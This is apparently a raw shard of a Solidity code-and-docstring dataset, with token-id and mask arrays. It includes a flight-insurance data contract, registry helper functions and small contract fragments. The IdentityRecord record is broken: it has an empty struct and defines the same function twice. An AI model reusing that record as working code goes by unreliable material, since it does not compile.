setSingletonPrivate(bytes4 interfaceId, address instance) private { require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON"); address replacedInstance = _singletons[interfaceId]; // do nothing if not changing if (replacedInstance != instance) { dropInstance(replacedInstance, interfaceId); addInstance(instance, interfaceId); _singletons[interfaceId] = instance; } emit LogSetSingleton(interfaceId, instance, replacedInstance); } function setCollectionPrivate(bytes4 interfaceId, address instance, bool set) private { // do nothing if not changing if (_collections[interfaceId][instance] == set) { return; } _collections[interfaceId][instance] = set; if (set) { addInstance(instance, interfaceId); } else { dropInstance(instance, interfaceId); } emit LogSetCollectionInterface(interfaceId, instance, set); } function addInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { // do not add null instance return; } bytes4[] storage current = _instances[instance]; uint256 idx; while(idx < current.length) { // instancy has this interface already, do nothing if (current[idx] == interfaceId) return; idx += 1; } // new interface current.push(interfaceId); } function dropInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { // do not drop null instance return; } bytes4[] storage current = _instances[instance]; uint256 idx; uint256 last = current.length - 1; while(idx <= last) { if (current[idx] == interfaceId) { // delete element if (idx < last) { // if not last element move last element to idx being deleted current[idx] = current[last]; } // delete last element current.length -= 1; return; } idx += 1; } } }
@title describes layout of claims in 256bit records stored for identities @dev intended to be derived by contracts requiring access to particular claims Types
contract IdentityRecord { struct IdentityClaims { } function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) { assembly { mstore(claims, and(data, 0x1)) mstore(add(claims, 0x20), div(and(data, 0x2), 0x2)) mstore(add(claims, 0x40), div(and(data, 0x4), 0x4)) mstore(add(claims, 0x60), div(and(data, 0x8), 0x8)) } } function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) { assembly { mstore(claims, and(data, 0x1)) mstore(add(claims, 0x20), div(and(data, 0x2), 0x2)) mstore(add(claims, 0x40), div(and(data, 0x4), 0x4)) mstore(add(claims, 0x60), div(and(data, 0x8), 0x8)) } } }
1,800,799
[ 1, 5569, 24322, 3511, 434, 11955, 316, 8303, 3682, 3853, 4041, 364, 17230, 225, 12613, 358, 506, 10379, 635, 20092, 29468, 2006, 358, 6826, 11955, 7658, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7808, 2115, 288, 203, 203, 203, 565, 1958, 7808, 15925, 288, 203, 565, 289, 203, 203, 203, 565, 445, 7673, 15925, 12, 3890, 1578, 501, 13, 2713, 16618, 1135, 261, 4334, 15925, 3778, 11955, 13, 288, 203, 3639, 19931, 288, 203, 5411, 312, 2233, 12, 28979, 16, 471, 12, 892, 16, 374, 92, 21, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 28979, 16, 374, 92, 3462, 3631, 3739, 12, 464, 12, 892, 16, 374, 92, 22, 3631, 374, 92, 22, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 28979, 16, 374, 92, 7132, 3631, 3739, 12, 464, 12, 892, 16, 374, 92, 24, 3631, 374, 92, 24, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 28979, 16, 374, 92, 4848, 3631, 3739, 12, 464, 12, 892, 16, 374, 92, 28, 3631, 374, 92, 28, 3719, 203, 3639, 289, 203, 565, 289, 203, 565, 445, 7673, 15925, 12, 3890, 1578, 501, 13, 2713, 16618, 1135, 261, 4334, 15925, 3778, 11955, 13, 288, 203, 3639, 19931, 288, 203, 5411, 312, 2233, 12, 28979, 16, 471, 12, 892, 16, 374, 92, 21, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 28979, 16, 374, 92, 3462, 3631, 3739, 12, 464, 12, 892, 16, 374, 92, 22, 3631, 374, 92, 22, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 28979, 16, 374, 92, 7132, 3631, 3739, 12, 464, 12, 892, 16, 374, 92, 24, 3631, 374, 92, 24, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 28979, 16, 374, 92, 4848, 3631, 3739, 12, 464, 12, 892, 2 ]
pragma solidity ^0.6.0; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false address[] private registeredAirlines; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ struct Flight { string flight; bool isRegistered; uint8 statusCode; uint256 updatedTimestamp; address airline; } struct Airline { address airline; string airlineName; bool isRegistered; bool fundingSubmitted; uint registrationVotes; } struct Insurance { address insuree; uint256 insuredAmount; } mapping(bytes32 => Flight) private flights; mapping(address=>bool) private authorizedCallers; mapping(address=>Airline) private airlines; mapping(bytes32=>bool) airlineRegistrationVotes; mapping(bytes32=>Insurance[]) private policies; mapping(address=>uint256) private credits; event AddedAirline(address airline); /** * @dev Constructor * The deploying account becomes contractOwner */ constructor ( ) public { contractOwner = msg.sender; authorizedCallers[msg.sender]=true; } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(isOperational(), "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireAuthorizedCaller(){ require(authorizedCallers[msg.sender]==true,"User is not authorized"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() public view requireAuthorizedCaller returns(bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus ( bool mode ) external requireContractOwner { operational = mode; } function authorizeCaller(address caller)external requireContractOwner{ authorizedCallers[caller]=true; } function deauthorizeCaller(address caller)external requireContractOwner{ authorizedCallers[caller]=false; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function registerAirline ( address airline, string calldata airlineName ) external requireAuthorizedCaller requireIsOperational { airlines[airline]=Airline({ airline: airline, airlineName: airlineName, isRegistered: false, fundingSubmitted: false, registrationVotes: 0 }); emit AddedAirline(airline); } /** * @dev Buy insurance for a flight * */ function hasAirlineBeenAdded(address airline) external view requireAuthorizedCaller requireIsOperational returns(bool) { return airlines[airline].airline==airline; } function addToRegisteredAirlines( address airline ) external requireIsOperational requireAuthorizedCaller { airlines[airline].isRegistered=true; registeredAirlines.push(airline); } function hasAirlineBeenRegistered(address airline) external view requireAuthorizedCaller requireIsOperational returns(bool) { return airlines[airline].isRegistered; } function getRegisteredAirlines() external view requireAuthorizedCaller requireIsOperational returns(address[] memory){ return registeredAirlines; } function hasAirlineVotedFor( address airlineVoterID, address airlineVoteeID ) external view requireAuthorizedCaller requireIsOperational returns(bool) { bytes32 voteHash=keccak256(abi.encodePacked(airlineVoterID,airlineVoteeID)); return airlineRegistrationVotes[voteHash]==true; } function voteForAirline( address airlineVoterID, address airlineVoteeID )external requireAuthorizedCaller requireIsOperational returns (uint) { bytes32 voteHash = keccak256( abi.encodePacked(airlineVoterID, airlineVoteeID)); airlineRegistrationVotes[voteHash] = true; airlines[airlineVoteeID].registrationVotes += 1; return airlines[airlineVoteeID].registrationVotes; } function setFundingSubmitted(address airline) external requireAuthorizedCaller requireIsOperational { airlines[airline].fundingSubmitted=true; } function hasFundingBeenSubmitted( address airline ) external view requireAuthorizedCaller requireIsOperational returns(bool) { return airlines[airline].fundingSubmitted==true; } function addToRegisteredFlights( address airline, string calldata flight, uint256 timestamp ) external requireAuthorizedCaller requireIsOperational { flights[getFlightKey(airline,flight,timestamp)]=Flight( { flight: flight, isRegistered: true, statusCode: 0, updatedTimestamp: timestamp, airline: airline } ); } function addToInsurancePolicy( address airline, string calldata flight, address insuree, uint256 amountToInsureFor ) external requireAuthorizedCaller requireIsOperational{ policies[keccak256(abi.encodePacked(airline,flight))].push( Insurance( { insuree: insuree, insuredAmount: amountToInsureFor } ) ); } function creditInsurees( address airline, string calldata flight, uint256 creditMultiplier ) external requireAuthorizedCaller requireIsOperational { bytes32 policyKey=keccak256(abi.encodePacked(airline,flight)); Insurance[] memory policiesToCredit=policies[policyKey]; uint256 currentCredits; for(uint i=0;i<policiesToCredit.length;i++){ currentCredits=credits[policiesToCredit[i].insuree]; uint256 creditsPayout=( policiesToCredit[i].insuredAmount.mul(creditMultiplier).div(10)); credits[policiesToCredit[i].insuree]=currentCredits.add(creditsPayout); } delete policies[policyKey]; } function withdrawCreditsForInsuree( address insuree ) external requireAuthorizedCaller requireIsOperational payable { uint256 creditsAvailable=credits[insuree]; require(creditsAvailable>0,"Requires credits are available"); credits[insuree]=0; address payable dataAddr= address(uint160(insuree)); dataAddr.transfer(creditsAvailable); } function getFlightKey ( address airline, string memory flight, uint256 timestamp ) pure internal returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } fallback() external payable{ } receive() external payable{ } }
* @dev Get operating status of contract @return A bool that is the current operating status/
function isOperational() public view requireAuthorizedCaller returns(bool) { return operational; }
5,415,177
[ 1, 967, 16929, 1267, 434, 6835, 327, 432, 1426, 716, 353, 326, 783, 16929, 1267, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 2988, 287, 1435, 7010, 18701, 1071, 7010, 18701, 1476, 7010, 18701, 2583, 15341, 11095, 203, 18701, 1135, 12, 6430, 13, 7010, 565, 288, 203, 3639, 327, 1674, 287, 31, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x687A4B0Ac18Ed3796D55E6A1d747bD75591a8bac/sources/contracts/core/OtcOffer.sol
@notice Owner can update the offer price at which user swaps can occur @dev The new price must be within the `minValidOfferPrice` <= price <= `maxValidOfferPrice` range
function setOfferPrice(uint256 _offerPrice) external onlyOwner { if (_offerPrice < minValidOfferPrice || _offerPrice > maxValidOfferPrice) revert OfferPriceNotValid(); offerPrice = _offerPrice; emit OfferPriceSet(_offerPrice); }
17,148,559
[ 1, 5541, 848, 1089, 326, 10067, 6205, 622, 1492, 729, 1352, 6679, 848, 3334, 225, 1021, 394, 6205, 1297, 506, 3470, 326, 1375, 1154, 1556, 10513, 5147, 68, 1648, 6205, 1648, 1375, 1896, 1556, 10513, 5147, 68, 1048, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 10513, 5147, 12, 11890, 5034, 389, 23322, 5147, 13, 3903, 1338, 5541, 288, 203, 3639, 309, 261, 67, 23322, 5147, 411, 1131, 1556, 10513, 5147, 747, 389, 23322, 5147, 405, 943, 1556, 10513, 5147, 13, 15226, 25753, 5147, 1248, 1556, 5621, 203, 3639, 10067, 5147, 273, 389, 23322, 5147, 31, 203, 3639, 3626, 25753, 5147, 694, 24899, 23322, 5147, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xB79c67215E2Dc32B3a5bb220b375eD0183732c1d/sources/browser/Mix2RFIBase.sol
require(_limitExpiresTimestamp < now, "Initial Uniswap listing - Wallet to Wallet transfers temporarily disabled");
_transferStandard(sender, recipient, amount, _tFeePercent);
8,143,535
[ 1, 6528, 24899, 3595, 14449, 4921, 411, 2037, 16, 315, 4435, 1351, 291, 91, 438, 11591, 300, 20126, 358, 20126, 29375, 18917, 5673, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 389, 13866, 8336, 12, 15330, 16, 8027, 16, 3844, 16, 389, 88, 14667, 8410, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]